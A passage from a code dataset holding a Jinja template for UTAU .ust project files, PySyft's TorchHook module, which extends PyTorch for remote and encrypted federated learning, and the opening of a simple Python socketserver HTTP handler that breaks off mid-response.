note.pre_utterance[0] }}{% endif %}{% if note.voice_overlap|length > 0 %}\nVoiceOverlap={{ note.voice_overlap[0] }}{% endif %}{% if note.intensity|length > 0 %}\nIntensity={{ note.intensity[0] }}{% endif %}{% if note.modulation|length > 0 %}\nModulation={{ note.modulation[0] }}{% endif %}{% if note.start_point|length > 0 %}\nStartPoint={{ note.start_point[0] }}{% endif %}{% if note.envelope|length > 0 %}\nEnvelope={{ note.envelope.p1 }},{{ note.envelope.p2 }},{{ note.envelope.p3 }},{{ note.envelope.v1 }},{{ note.envelope.v2 }},{{ note.envelope.v3 }},{{ note.envelope.v4 }}\\\n{% if note.envelope.v5 %}\\\n,%,{{ note.envelope.p4 }},{{ note.envelope.p5 }},{{ note.envelope.v5 }}{% elif note.envelope.p5 %}\\\n,%,{{ note.envelope.p4 }},{{ note.envelope.p5 }}{% elif note.envelope.p4 %}\\\n,,{{ note.envelope.p4 }}{% endif %}{% endif %}{% if note.tempo|length > 0 %}\nTempo={{ note.tempo[0] }}{% endif %}{% if note.velocity|length > 0 %}\nVelocity={{ note.velocity[0] }}{% endif %}{% if note.label|length > 0 %}\nLabel={{ note.label[0] }}{% endif %}{% if note.flags|length > 0 %}\nFlags={{ note.flags[0] }}{% endif %}{% if note.pitchbend_type|length > 0 %}\nPBType={{ note.pitchbend_type[0] }}{% endif %}{% if note.pitchbend_start|length > 0 %}\nPBStart={{ note.pitchbend_start[0] }}{% endif %}{% if note.pitch_bend_points|length > 0 %}\nPitchBend={{ note.pitch_bend_points|join(',') }}{% endif %}{% if note.pbs|length > 0 %}\nPBS={{ note.pbs | join(';') }}{% endif %}{% if note.pbw|length > 0 %}\nPBW={{ note.pbw | join(',') }}{% endif %}{% if note.pby|length > 0 %}\nPBY={{ note.pby | join(',') }}{% endif %}{% if note.pbm|length > 0 %}\nPBM={{ note.pbm | join(',') }}{% endif %}{% if note.vbr|length > 0 %}\nVBR={{ note.vbr | join(',') }}{% endif %}{% endfor %}\n[#TRACKEND]{% endif %}\n\"\"\"\n)\n\n\ndef render_ust(\n ust_project: UTAUProject, output_path: pathlib.Path, encoding: str = \"utf-8\"\n):\n output_path.write_text(\n UST_TEMPLATE.render(ust_project=ust_project), encoding=encoding\n )\n","repo_name":"SoulMelody/LibreSVIP","sub_path":"libresvip/plugins/ust/template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":3460,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"24550464069","text":"import copy\nfrom functools import wraps\nimport logging\nfrom math import inf\nimport torch\nimport weakref\n\nimport syft\nfrom syft import dependency_check\nfrom syft.generic.frameworks.hook import hook_args\nfrom syft.generic.frameworks.hook.hook import FrameworkHook\nfrom syft.generic.frameworks.remote import Remote\nfrom syft.frameworks.torch.tensors.interpreters.autograd import AutogradTensor\nfrom syft.frameworks.torch.tensors.interpreters.native import TorchTensor\nfrom syft.frameworks.torch.tensors.interpreters.hook import HookedTensor\nfrom syft.frameworks.torch.tensors.interpreters.paillier import PaillierTensor\nfrom syft.frameworks.torch.tensors.decorators.logging import LoggingTensor\nfrom syft.frameworks.torch.tensors.interpreters.precision import FixedPrecisionTensor\nfrom syft.frameworks.torch.tensors.interpreters.additive_shared import AdditiveSharingTensor\nfrom syft.frameworks.torch.tensors.interpreters.private import PrivateTensor\nfrom syft.execution.placeholder import PlaceHolder\nfrom syft.frameworks.torch.torch_attributes import TorchAttributes\nfrom syft.generic.pointers.pointer_tensor import PointerTensor\nfrom syft.generic.abstract.tensor import _apply_args\nfrom syft.workers.base import BaseWorker\nfrom syft.workers.virtual import VirtualWorker\nfrom syft.execution.plan import Plan\n\n\nclass TorchHook(FrameworkHook):\n \"\"\"A Hook which Overrides Methods on PyTorch Tensors.\n\n The purpose of this class is to:\n * extend torch methods to allow for the moving of tensors from one\n worker to another.\n * override torch methods to execute commands on one worker that are\n called on tensors controlled by the local worker.\n\n This class is typically the first thing you will initialize when using\n PySyft with PyTorch because it is responsible for augmenting PyTorch with\n PySyft's added functionality (such as remote execution).\n\n Args:\n local_worker: An optional BaseWorker instance that lets you provide a\n local worker as a parameter which TorchHook will assume to be the\n worker owned by the local machine. If you leave it empty,\n TorchClient will automatically initialize a\n :class:`.workers.VirtualWorker` under the assumption you're looking\n to do local experimentation or development.\n is_client: An optional boolean parameter (default True), indicating\n whether TorchHook is being initialized as an end-user client.This\n can impact whether or not variables are deleted when they fall out\n of scope. If you set this incorrectly on a end user client, Tensors\n and Variables will never be deleted. If you set this incorrectly on\n a remote machine (not a client), tensors will not get saved. It's\n really only important if you're not initializing the local worker\n yourself.\n verbose: An optional boolean parameter (default True) to indicate\n whether or not to print the operations as they occur.\n queue_size: An integer optional parameter (default 0) to specify the\n max length of the list that stores the messages to be sent.\n\n Example:\n >>> import torch as th\n >>> import syft as sy\n >>> hook = sy.TorchHook(th)\n Hooking into Torch...\n Overloading Complete.\n # constructing a normal torch tensor in pysyft\n >>> x = th.Tensor([-2,-1,0,1,2,3])\n >>> x\n -2\n -1\n 0\n 1\n 2\n 3\n [syft.core.frameworks.torch.tensor.FloatTensor of size 6]\n \"\"\"\n\n def __init__(\n self,\n torch,\n local_worker: BaseWorker = None,\n is_client: bool = True,\n verbose: bool = False,\n seed=None,\n ):\n \"\"\"\n Initializes the hook.\n\n Initialize the hook and define all the attributes pertaining to the\n torch hook in a special TorchAttibute class, that will be added in the\n syft.torch attributes. Hence, this parameters are now conveyed by the\n syft module.\n \"\"\"\n # Save the provided torch module as an attribute of the hook\n self.torch = torch\n self.framework = self.torch\n if seed is not None:\n syft.ID_PROVIDER.seed(seed)\n self.verbose = verbose\n\n # Save the local worker as an attribute\n self.local_worker = local_worker\n\n if hasattr(torch, \"torch_hooked\"):\n logging.warning(\"Torch was already hooked... skipping hooking process\")\n self.local_worker = syft.local_worker\n return\n else:\n torch.torch_hooked = True\n\n # Add all the torch attributes in the syft.torch attr\n syft.torch = TorchAttributes(torch, self)\n syft.framework = syft.torch\n\n \"\"\"\n In Syft there is a syft.framework value that can contain only one framework.\n Ideally it should contain a list of supported frameworks.\n\n We do this because in Plans there is method to reduce the number of actions\n that are traced (and then sent).\n The actions that are not returning a result, changing a placeholder, inplace\n or changing the global state are eliminated from the traced list\n \"\"\"\n if dependency_check.crypten_available:\n import crypten\n from syft.frameworks.crypten.crypten_attributes import CryptenAttributes\n\n syft.crypten = CryptenAttributes(crypten, self)\n\n # Hook some torch methods such that tensors could be created directy at workers\n self._hook_worker_methods()\n\n if self.local_worker is None:\n # Every TorchHook instance should have a local worker which is\n # responsible for interfacing with other workers. The worker\n # interface is what allows the Torch specific code in TorchHook to\n # be agnostic to the means by which workers communicate (such as\n # peer-to-peer, sockets, through local ports, or all within the\n # same process)\n self.local_worker = VirtualWorker(\n hook=self, is_client_worker=is_client, id=\"me\", verbose=verbose\n )\n else:\n self.local_worker.hook = self\n\n self._syft_workers = {self.local_worker}\n\n self.to_auto_overload = {}\n\n self.args_hook_for_overloaded_attr = {}\n\n self._hook_native_tensor(torch.Tensor, TorchTensor)\n\n if dependency_check.crypten_available:\n from syft.frameworks.crypten.hook.hook import crypten_to_auto_overload\n\n for crypten_class, method_names in crypten_to_auto_overload.items():\n self.to_auto_overload[crypten_class] = method_names\n self._hook_syft_placeholder_methods(crypten_class, PlaceHolder)\n\n # Add all hooked tensor methods to pointer but change behaviour to have the cmd sent\n self._hook_pointer_tensor_methods(self.torch.Tensor)\n\n # Add all hooked tensor methods to AdditiveSharingTensor tensor but change behaviour\n # to all shares (when it makes sense, otherwise the method is overwritten in the\n # AdditiveSharingTensor class)\n self._hook_additive_shared_tensor_methods()\n\n # Add all hooked tensor methods to multi_pointer to change behavior to have the cmd\n # sent to all child pointers.\n self._hook_multi_pointer_tensor_methods(self.torch.Tensor)\n\n # Add all hooked tensor methods to Logging tensor but change behaviour to just forward\n # the cmd to the next child (behaviour can be changed in the SyftTensor class file)\n self._hook_syft_tensor_methods(LoggingTensor)\n\n # Add all hooked tensor methods to Paillier tensor but change behaviour to just forward\n # the cmd to the next child (behaviour can be changed in the SyftTensor class file)\n self._hook_syft_tensor_methods(PaillierTensor)\n\n # Add all hooked tensor methods to FixedPrecisionTensor tensor but change behaviour\n # to just forward the cmd to the next child (behaviour can be changed in the\n # SyftTensor class file)\n self._hook_syft_tensor_methods(FixedPrecisionTensor)\n\n # Add all hooked tensor methods to AutogradTensor tensor but change behaviour\n # to just forward the cmd to the next child (behaviour can be changed in the\n # SyftTensor class file)\n self._hook_syft_tensor_methods(AutogradTensor)\n\n # Add all hooked tensor methods to PrivateTensor tensor but change behaviour\n # to just forward the cmd to the next child (behaviour can be changed in the\n # SyftTensor class file)\n self._hook_private_tensor_methods(PrivateTensor)\n\n # Add all hooked tensor methods to PlaceHolder tensor but change behaviour\n # to just forward the cmd to the next child (behaviour can be changed in the\n # SyftTensor class file)\n self._hook_syft_placeholder_methods(self.torch.Tensor, PlaceHolder)\n\n # Add all hooked tensor methods to AdditiveSharingTensor tensor but change behaviour\n # to just forward the cmd to the next child (behaviour can be changed in the\n # SyftTensor class file)\n self._hook_syft_tensor_methods(AdditiveSharingTensor)\n\n # Add all hooked tensor methods to NumpyTensor tensor\n self._hook_syft_tensor_methods(HookedTensor)\n\n # Add all built-in 'str' methods to String\n self._hook_string_methods(owner=self.local_worker)\n\n # Add all string methods to StringPointer\n # This method call should strictly come after the\n # call to self._hook_string_methods()\n self._hook_string_pointer_methods()\n\n # Hook the tensor constructor function\n self._hook_tensor()\n\n # Hook the Parameter methods to store tensor chains in parameters\n self._hook_parameters()\n\n # Hook torch functions from modules like torch.add OR\n # torch.nn.functional (containing relu, etc.)\n self._hook_torch_module()\n\n # Hook torch.nn (containing Linear and Convolution layers)\n self._hook_module()\n\n # Hook torch.optim (containing optim.SGD, Adam, etc)\n self._hook_optim()\n\n # Hook the Crypten module\n if dependency_check.crypten_available:\n from syft.frameworks.crypten.hook.hook import hook_crypten, hook_crypten_module\n\n hook_crypten()\n hook_crypten_module()\n\n # Add the local_worker to syft so that it can be found if the hook is\n # called several times\n syft.local_worker = self.local_worker\n syft.hook = self\n\n def create_shape(cls, shape_dims):\n return torch.Size(shape_dims)\n\n def create_wrapper(cls, wrapper_type):\n # Note this overrides FrameworkHook.create_wrapper, so it must conform to\n # that classmethod's signature\n if wrapper_type is None or wrapper_type == torch.Tensor:\n return torch.Tensor()\n elif isinstance(wrapper_type, torch.dtype):\n return torch.tensor([], dtype=wrapper_type)\n else:\n raise ValueError(\n \"Wrapper type should be None, torch.Tensor, or a torch.dtype like torch.long\"\n )\n\n def create_zeros(cls, *shape, dtype=None, **kwargs):\n return torch.zeros(*shape, dtype=dtype, **kwargs)\n\n def _hook_native_tensor(self, tensor_type: type, syft_type: type):\n \"\"\"Adds PySyft Tensor Functionality to the given native tensor type.\n\n Overloads the given native Torch tensor to add PySyft Tensor\n Functionality. Overloading involves modifying the tensor type with\n PySyft's added functionality. You may read about what kind of\n modifications are made in the methods that this method calls.\n\n Args:\n tensor_type: The type of tensor being hooked (in this refactor\n this is only ever torch.Tensor, but in previous versions of\n PySyft this iterated over all tensor types.\n syft_type: The abstract type whose methods should all be added to\n the tensor_type class. In practice this is always TorchTensor.\n Read more about it there.\n \"\"\"\n\n # Overload Torch tensor properties with Syft properties\n self._hook_properties(tensor_type)\n\n # Returns a list of methods to be overloaded, stored in the dict to_auto_overload\n # with tensor_type as a key\n self.to_auto_overload[tensor_type] = self._which_methods_should_we_auto_overload(\n tensor_type\n )\n\n # [We don't rename native methods as torch tensors are not hooked] Rename native functions\n # #self._rename_native_functions(tensor_type)\n\n # Overload auto overloaded with Torch methods\n self._transfer_methods_to_native_tensor(tensor_type, syft_type)\n\n self._hook_native_methods(tensor_type)\n\n def __hook_properties(self, tensor_type):\n super()._hook_properties(tensor_type)\n tensor_type.native_shape = tensor_type.shape\n\n def _hook_syft_tensor_methods(self, syft_type: type):\n tensor_type = self.torch.Tensor\n super()._hook_syft_tensor_methods(tensor_type, syft_type)\n\n def _hook_private_tensor_methods(self, syft_type: type):\n tensor_type = self.torch.Tensor\n super()._hook_private_tensor_methods(tensor_type, syft_type)\n\n def _hook_worker_methods(self):\n class Torch(object):\n name = \"torch\"\n\n def __init__(self, worker, *args, **kwargs):\n self.worker = weakref.ref(worker)\n\n Remote.register_framework(Torch)\n\n for attr in syft.torch.worker_methods:\n new_method = self._get_hooked_base_worker_method(attr)\n setattr(Torch, attr, new_method)\n\n def _get_hooked_base_worker_method(hook_self, attr):\n @wraps(attr)\n def overloaded_attr(self_torch, *args, **kwargs):\n ptr = hook_self.local_worker.send_command(\n recipient=self_torch.worker(),\n cmd_name=f\"{'torch'}.{attr}\",\n args_=args,\n kwargs_=kwargs,\n )\n\n return ptr.wrap()\n\n return overloaded_attr\n\n def _hook_additive_shared_tensor_methods(self):\n \"\"\"\n Add hooked version of all methods of the torch Tensor to the\n Additive Shared tensor: instead of performing the native tensor\n method, it will be forwarded to each share when it is relevant\n \"\"\"\n\n tensor_type = self.torch.Tensor\n # Use a pre-defined list to select the methods to overload\n for attr in self.to_auto_overload[tensor_type]:\n if attr not in dir(AdditiveSharingTensor):\n new_method = self._get_hooked_additive_shared_method(attr)\n setattr(AdditiveSharingTensor, attr, new_method)\n\n def _hook_parameters(self):\n \"\"\"\n This method overrides the torch Parameter class such that\n it works correctly with our overridden tensor types. The\n native torch Parameter class kept deleting all of our\n attributes on our custom tensors, so we wrote our own.\n \"\"\"\n\n # Hook __new__ to handle when non-pure torch tensors are given as data attribute\n\n def hooked__new__(cls, data=None, requires_grad=True):\n if data is None:\n data = torch.Tensor()\n\n # If data is not a pure torch tensor you need to store the chain in a\n # specific place otherwise it will get deleted\n if not isinstance(data, torch.Tensor) or hasattr(data, \"child\"):\n p = torch.Tensor._make_subclass(cls, torch.Tensor(), requires_grad)\n if isinstance(data, torch.Tensor): # so it's a wrapper: remove it\n p.child = data.child\n else:\n p.child = data\n else:\n p = torch.Tensor._make_subclass(cls, data, requires_grad)\n\n return p\n\n torch.nn.Parameter.__new__ = hooked__new__\n\n # Hook __repr__ to handle chain repr when needed\n\n torch.nn.Parameter.native_param___repr__ = torch.nn.Parameter.__repr__\n\n def hooked__repr__(self):\n if hasattr(self, \"child\"):\n return \"Parameter containing:\\n\" + self.child.__repr__()\n else:\n return self.native_param___repr__()\n\n # torch.nn.Parameter.__repr__ = hooked__repr__\n\n def get_data(self):\n if hasattr(self, \"child\"):\n to_return = self.child.attr(\"data\")\n else:\n to_return = self.native_data\n\n # good to ensure that the ID stays consistent\n # not 100% this is required but it's at least\n # good practice\n try:\n to_return.id = self.data_id\n except AttributeError:\n self.data_id = to_return.id\n\n return to_return\n\n def set_data(self, new_data):\n # If data is not a pure torch tensor you need to store the chain in a\n # specific place otherwise it will get deleted\n if not isinstance(new_data, torch.Tensor) or hasattr(new_data, \"child\"):\n self.child = new_data # .wrap()\n else:\n if hasattr(self, \"child\"):\n del self.child\n\n with torch.no_grad():\n self.native_data = new_data\n return self\n\n torch.nn.Parameter.data = property(fget=get_data, fset=set_data)\n\n # Hook .grad to handle chain assignment when needed\n\n torch.nn.Parameter.native_param_grad = torch.nn.Parameter.grad\n\n @property\n def grad(self):\n\n if hasattr(self, \"child\"):\n to_return = self.child.attr(\"grad\")\n if to_return is not None and isinstance(to_return.child, PointerTensor):\n if to_return.child.is_none():\n to_return = None\n\n else:\n to_return = self.native_param_grad\n\n # good to ensure that the ID stays consistent\n # not 100% this is required but it's at least\n # good practice\n try:\n to_return.id = self.grad_id\n except AttributeError:\n if to_return is not None and hasattr(to_return, \"id\"):\n self.grad_id = to_return.id\n\n return to_return\n\n @grad.setter\n def grad(self, new_grad):\n\n # If grad is not a pure torch tensor you need to store the chain in a\n # specific place otherwise it will get deleted\n if new_grad is not None and (\n not isinstance(new_grad, torch.Tensor) or hasattr(new_grad, \"child\")\n ):\n self.child.grad = new_grad # .wrap()\n else:\n if self.native_param_grad is not None:\n with torch.no_grad():\n self.native_param_grad = new_grad\n elif new_grad is not None:\n self.native_param_grad = new_grad\n return self\n\n torch.nn.Parameter.grad = grad\n\n def _hook_torch_module(self):\n \"\"\"Overloads functions in the main torch modules.\n The way this is accomplished is by first moving all existing module\n functions in the torch module to native_.\n\n Example:\n the real :func:`torch.cat` will become :func:`torch.native_cat`\n and :func:`torch.cat` will have our hooking code.\n \"\"\"\n torch_modules = syft.torch.torch_modules\n\n for module_name, torch_module in torch_modules.items():\n for func in dir(torch_module):\n\n # Some functions we want to ignore (not override). Such functions have been hard\n # coded into the torch_attribute exclude (see TorchAttribute class)\n if func in syft.torch.exclude:\n continue\n\n # ignore dunder functions\n if \"__\" in func:\n continue\n\n # ignore capitalized func values which are Classes not functions\n if func[0].isupper():\n continue\n\n # ignore hidden functins\n if func[0] == \"_\":\n continue\n\n # If we haven't already overloaded this function\n if \"native_\" in func or f\"native_{func}\" in dir(torch_module):\n continue\n\n self._perform_function_overloading(module_name, torch_module, func)\n\n def _get_hooked_additive_shared_method(hook_self, attr):\n \"\"\"\n Hook a method to send it multiple remote workers\n\n Args:\n attr (str): the method to hook\n Return:\n the hooked method\n \"\"\"\n\n def dispatch(args_, k):\n return map(lambda x: x[k] if isinstance(x, dict) else x, args_)\n\n @wraps(attr)\n def overloaded_attr(self, *args, **kwargs):\n \"\"\"\n Operate the hooking\n \"\"\"\n\n # Replace all syft tensor with their child attribute\n new_self, new_args, new_kwargs = hook_args.unwrap_args_from_method(\n attr, self, args, kwargs\n )\n\n results = {}\n for k, v in new_self.items():\n results[k] = v.__getattribute__(attr)(*dispatch(new_args, k), **new_kwargs)\n\n # Put back AdditiveSharingTensor on the tensors found in the response\n response = hook_args.hook_response(\n attr,\n results,\n wrap_type=AdditiveSharingTensor,\n wrap_args=self.get_class_attributes(),\n )\n\n return response\n\n return overloaded_attr\n\n def _hook_tensor(hook_self):\n \"\"\"Hooks the function torch.tensor()\n We need to do this seperately from hooking the class because internally\n torch does not pick up the change to add the args\n Args:\n hook_self: the hook itself\n \"\"\"\n\n if \"native_tensor\" not in dir(hook_self.torch):\n hook_self.torch.native_tensor = hook_self.torch.tensor\n\n def new_tensor(*args, owner=None, id=None, register=True, **kwargs):\n current_tensor = hook_self.torch.native_tensor(*args, **kwargs)\n _apply_args(hook_self, current_tensor, owner, id)\n if register:\n current_tensor.owner.register_obj(current_tensor)\n\n return current_tensor\n\n hook_self.torch.tensor = new_tensor\n\n @classmethod\n def _transfer_methods_to_native_tensor(cls, tensor_type: type, syft_type: type):\n \"\"\"Adds methods from the TorchTensor class to the native torch tensor.\n\n The class TorchTensor is a proxy to avoid extending directly the torch\n tensor class.\n\n Args:\n tensor_type: The tensor type to which we are adding methods\n from TorchTensor class.\n \"\"\"\n exclude = [\n \"__class__\",\n \"__delattr__\",\n \"__dir__\",\n \"__doc__\",\n \"__dict__\",\n \"__format__\",\n \"__getattribute__\",\n \"__hash__\",\n \"__init__\",\n \"__init_subclass__\",\n \"__weakref__\",\n \"__module__\",\n \"__ne__\",\n \"__new__\",\n \"__reduce__\",\n \"__reduce_ex__\",\n \"__setattr__\",\n \"__sizeof__\",\n \"__subclasshook__\",\n \"_get_type\",\n # FIXME it now overwritten in native.py to use torch.eq, because\n # of pb between == & __eq__ See #2030\n # \"__eq__\",\n \"__gt__\",\n \"__ge__\",\n \"__lt__\",\n \"__le__\",\n ]\n cls._transfer_methods_to_framework_class(tensor_type, syft_type, exclude)\n\n def _hook_module(self):\n \"\"\"Overloading torch.nn.Module with PySyft functionality, the primary module\n responsible for core ML functionality such as Neural network layers and\n loss functions.\n\n It is important to note that all the operations are actually in-place.\n \"\"\"\n self.element_iter_dict = {}\n\n def register_element_iterator(name, func):\n \"\"\"register an internal element buffer iterator\"\"\"\n if name in self.element_iter_dict.keys():\n return\n self.element_iter_dict[name] = func\n\n def tensor_iterator(nn_self):\n \"\"\"adding relavant iterators for the tensor elements\"\"\"\n iterators = [\n \"parameters\",\n \"buffers\",\n ] # all the element iterators from nn module should be listed here,\n return [getattr(nn_self, iter) for iter in iterators]\n\n def module_is_missing_grad(model):\n \"\"\"Checks if all the parameters in the model have been assigned a gradient\"\"\"\n for p in model.parameters():\n if p.grad is None:\n return True\n return False\n\n def create_grad_objects(model):\n \"\"\"Assigns gradient to model parameters if not assigned\"\"\"\n for p in model.parameters():\n if p.requires_grad: # check if the object requires a grad object\n o = p.sum()\n o.backward()\n if p.grad is not None:\n p.grad -= p.grad\n\n def module_send_(nn_self, *dest, force_send=False, **kwargs):\n \"\"\"Overloads torch.nn instances so that they could be sent to other workers\"\"\"\n\n if module_is_missing_grad(nn_self):\n create_grad_objects(nn_self)\n\n for element_iter in tensor_iterator(nn_self):\n for p in element_iter():\n p.send_(*dest, **kwargs)\n\n if isinstance(nn_self.forward, Plan):\n nn_self.forward.send(*dest, force=force_send)\n\n return nn_self\n\n self.torch.nn.Module.send = module_send_\n self.torch.nn.Module.send_ = module_send_\n\n def module_move_(nn_self, destination):\n\n for element_iter in tensor_iterator(nn_self):\n for p in element_iter():\n p.move_(destination)\n\n self.torch.nn.Module.move = module_move_\n\n # def module_end_get_(nn_self):\n # \"\"\"Overloads send to remote for torch.nn.Module.\"\"\"\n # if module_is_missing_grad(nn_self):\n # create_grad_objects(nn_self)\n #\n # for p in nn_self.parameters():\n # p.end_get()\n #\n # return nn_self\n #\n # self.torch.nn.Module.end_get = module_end_get_\n #\n # def module_move_(nn_self, dest):\n # return nn_self.send(dest).end_get()\n #\n # self.torch.nn.Module.move = module_move_\n\n def module_get_(nn_self):\n \"\"\"\n overloads torch.nn instances with get method so that parameters\n could be sent back to owner\n \"\"\"\n for element_iter in tensor_iterator(nn_self):\n for p in element_iter():\n p.get_()\n\n if isinstance(nn_self.forward, Plan):\n nn_self.forward.get()\n\n return nn_self\n\n self.torch.nn.Module.get_ = module_get_\n self.torch.nn.Module.get = module_get_\n\n def module_encrypt_(nn_self, **kwargs):\n \"\"\"Overloads fix_precision for torch.nn.Module.\"\"\"\n if module_is_missing_grad(nn_self):\n create_grad_objects(nn_self)\n\n for element_iter in tensor_iterator(nn_self):\n for p in element_iter():\n p.encrypt(inplace=True, **kwargs)\n\n return nn_self\n\n self.torch.nn.Module.encrypt_ = module_encrypt_\n self.torch.nn.Module.encrypt = module_encrypt_\n\n def module_decrypt_(nn_self):\n \"\"\"Overloads fix_precision for torch.nn.Module.\"\"\"\n if module_is_missing_grad(nn_self):\n create_grad_objects(nn_self)\n\n for element_iter in tensor_iterator(nn_self):\n for p in element_iter():\n p.decrypt(inplace=True)\n\n return nn_self\n\n self.torch.nn.Module.decrypt_ = module_decrypt_\n self.torch.nn.Module.decrypt = module_decrypt_\n\n def module_share_(nn_self, *args, **kwargs):\n \"\"\"Overloads fix_precision for torch.nn.Module.\"\"\"\n if module_is_missing_grad(nn_self):\n create_grad_objects(nn_self)\n\n for element_iter in tensor_iterator(nn_self):\n for p in element_iter():\n p.share_(*args, **kwargs)\n\n return nn_self\n\n self.torch.nn.Module.share_ = module_share_\n self.torch.nn.Module.share = module_share_\n\n def module_fix_precision_(nn_self, *args, **kwargs):\n \"\"\"Overloads fix_precision for torch.nn.Module.\"\"\"\n if module_is_missing_grad(nn_self):\n create_grad_objects(nn_self)\n\n for element_iter in tensor_iterator(nn_self):\n for p in element_iter():\n p.fix_precision_(*args, **kwargs)\n\n return nn_self\n\n self.torch.nn.Module.fix_precision_ = module_fix_precision_\n self.torch.nn.Module.fix_precision = module_fix_precision_\n self.torch.nn.Module.fix_prec = module_fix_precision_\n\n def module_float_precision_(nn_self):\n \"\"\"Overloads float_precision for torch.nn.Module, convert fix_precision\n parameters to normal float parameters\"\"\"\n # TODO: add .data and .grad to syft tensors\n # if module_is_missing_grad(nn_self):\n # create_grad_objects(nn_self)\n\n for element_iter in tensor_iterator(nn_self):\n for p in element_iter():\n p.float_precision_()\n\n return nn_self\n\n self.torch.nn.Module.float_precision_ = module_float_precision_\n self.torch.nn.Module.float_precision = module_float_precision_\n self.torch.nn.Module.float_prec = module_float_precision_\n\n def module_copy(nn_self):\n \"\"\"Returns a copy of a torch.nn.Module\"\"\"\n return copy.deepcopy(nn_self)\n\n self.torch.nn.Module.copy = module_copy\n\n @property\n def owner(nn_self):\n for p in nn_self.parameters():\n return p.owner\n\n self.torch.nn.Module.owner = owner\n\n @property\n def location(nn_self):\n try:\n for p in nn_self.parameters():\n return p.location\n except AttributeError:\n raise AttributeError(\n \"Module has no attribute location, did you already send it to some location?\"\n )\n\n self.torch.nn.Module.location = location\n\n # Make sure PySyft uses the PyTorch version\n self.torch.nn.modules.rnn._rnn_impls[\"LSTM\"] = self.torch.lstm\n\n # Add support for GRUs\n self.torch.nn.modules.rnn._rnn_impls[\"GRU\"] = self.torch.gru\n\n # Override _VF.LSTM_Cell and _VF.GRU_Cell with torch.LSTM_Cell and torch.GRU_Cell\n # With the pytorch-based version\n self.torch.nn.modules.rnn._VF = self.torch\n\n def _hook_optim(self):\n \"\"\"Overloading torch.optim.Optimizer with PySyft functionality. Optimizer\n hyper-parameters should indeed be converted to fixed precision to interact\n with fixed precision or additive shared tensors.\n\n It is important to note that all the operations are actually in-place.\n \"\"\"\n\n def optim_fix_precision_(optim_self, *args, **kwargs):\n \"\"\"Overloads fix_precision for torch.optim.Optimizer\"\"\"\n\n for param_group in optim_self.param_groups:\n for key, param in param_group.items():\n if isinstance(param, (float, int, bool)) and param != 0 and key != \"params\":\n param_group[key] = torch.tensor(param).fix_precision(*args, **kwargs).child\n\n return optim_self\n\n self.torch.optim.Optimizer.fix_precision = optim_fix_precision_\n\n def optim_float_precision_(optim_self):\n \"\"\"Overloads float_precision for torch.optim.Optimizer, convert fix_precision\n hyper-parameters to normal float values\"\"\"\n\n for param_group in optim_self.param_groups:\n for key, param in param_group.items():\n if isinstance(param, FixedPrecisionTensor) and key != \"params\":\n param_group[key] = param.float_precision().item()\n\n return optim_self\n\n self.torch.optim.Optimizer.float_precision = optim_float_precision_\n\n # Modification of torch/nn/utils/clip_grad.py. The plain PyTorch method was not compatible\n # with PySyft remote tensors, so this method adds support for gradient clipping of remote\n # tensors, and keeps functionalities from PyTorch to clip local PyTorch tensors.\n def clip_grad_norm_remote_(parameters, max_norm, norm_type=2):\n \"\"\"Clips gradient norm of an iterable of parameters stored over a remote model\n\n The norm is computed over all gradients together, as if they were\n concatenated into a single vector. Gradients are modified in-place.\n\n Arguments:\n - parameters (Iterable[Tensor] or Tensor): an iterable of PySyft remote\n Tensors or PyTorch tensor will have gradients normalized or a single\n PySyfy / PyTorch tensor.\n - max_norm (float or int): max norm of the gradients\n - worker: The worker where the parameters are hosted and where the gradient clipping\n will be performed\n - norm_type (float or int): type of the used p-norm. Can be ``'inf'`` for\n infinity norm.\n\n Returns:\n Total norm of the parameters (viewed as a single vector).\n \"\"\"\n\n def param_is_pointer_tensor(param):\n \"\"\"\n A list of parameters is remote if all params contained in the list are\n remote (i.e., the child of each param is a pointer tensor).\n This method checks if a single param is indeed remote, so whether\n the child of a parameter is a pointer tensor\n \"\"\"\n return hasattr(param, \"child\") and isinstance(param.child, PointerTensor)\n\n if isinstance(parameters, torch.Tensor):\n parameters = [parameters]\n\n parameters = list(filter(lambda p: p.grad is not None, parameters))\n max_norm = float(max_norm)\n norm_type = float(norm_type)\n if norm_type == inf:\n total_norm = max(p.grad.data.abs().max() for p in parameters)\n else:\n # all parameters are remote\n if all(param_is_pointer_tensor(param) for param in parameters):\n total_norm = torch.zeros(1)\n # Let's send the total norm over to the remote where the remote tensor is\n total_norm = total_norm.send(parameters[0].location)\n else:\n total_norm = 0\n for p in parameters:\n param_norm = p.grad.data.norm(norm_type)\n total_norm += param_norm ** norm_type\n\n total_norm = total_norm ** (1.0 / norm_type)\n clip_coef = max_norm / (total_norm + 1e-6)\n if clip_coef < 1:\n for p in parameters:\n p.grad.data.mul_(clip_coef)\n return total_norm\n\n self.torch.nn.utils.clip_grad_norm_ = clip_grad_norm_remote_\n\n def set_verbose(self, flag):\n for workers in self._syft_workers:\n workers.verbose = flag\n","repo_name":"gkaissis/PriMIA","sub_path":"syft/frameworks/torch/hook/hook.py","file_name":"hook.py","file_ext":"py","file_size_in_byte":36064,"program_lang":"python","lang":"en","doc_type":"code","stars":124,"dataset":"github-code","pt":"61"} +{"seq_id":"10762344647","text":"from cgitb import reset\nimport socketserver\nfrom httpHandler import HTTP\nMAX_REQUEST_SIZE = 2 ** 12\nHOST, PORT = \"localhost\", 9999\nSTATUS_CODE = {\n \"400\" : \"Bad Request\",\n \"200\" : \"Sucess\",\n \"404\" : \"Not Found\",\n \"417\" : \"Expectation Failed\"\n}\n\n\ndef getResponse(code):\n if STATUS_CODE[str(code)]:\n return STATUS_CODE[str(code)]\n else:\n assert 5 == 6, \"Response Code Not Implemented\"\n return 400\n\n\nclass TPCServer(socketserver.BaseRequestHandler):\n \"\"\"\n The request handler class for our server.\n\n It is instantiated once per connection to the server, and must\n override the handle() method to implement communication to the\n client.\n \"\"\"\n\n def handle(self):\n # self.request is the TCP socket connected to the client\n self.data = self.request.recv(MAX_REQUEST_SIZE).strip()\n # print(\"{} wrote:\".format(self.client_address[0]))\n # print(self.data.decode())\n \n http = HTTP()\n output = http.decodeRequest(self.data.decode())\n\n message = getResponse(output[\"status\"])\n\n contentSize = len(output[\"content\"])\n\n statusLine = \"HTTP/1.0\" + str(output[\"status\"]) + \" \" + message + \"\\r\\n\"\n response = statusLine + \"Content-Length: \"+ str(contentSize) + \"\\r\\n\"\n \n if output[\"content\"] == None:\n response += \"Content-Type: text/html\\r\\n\\r\\n\"\n response += \"

hehe

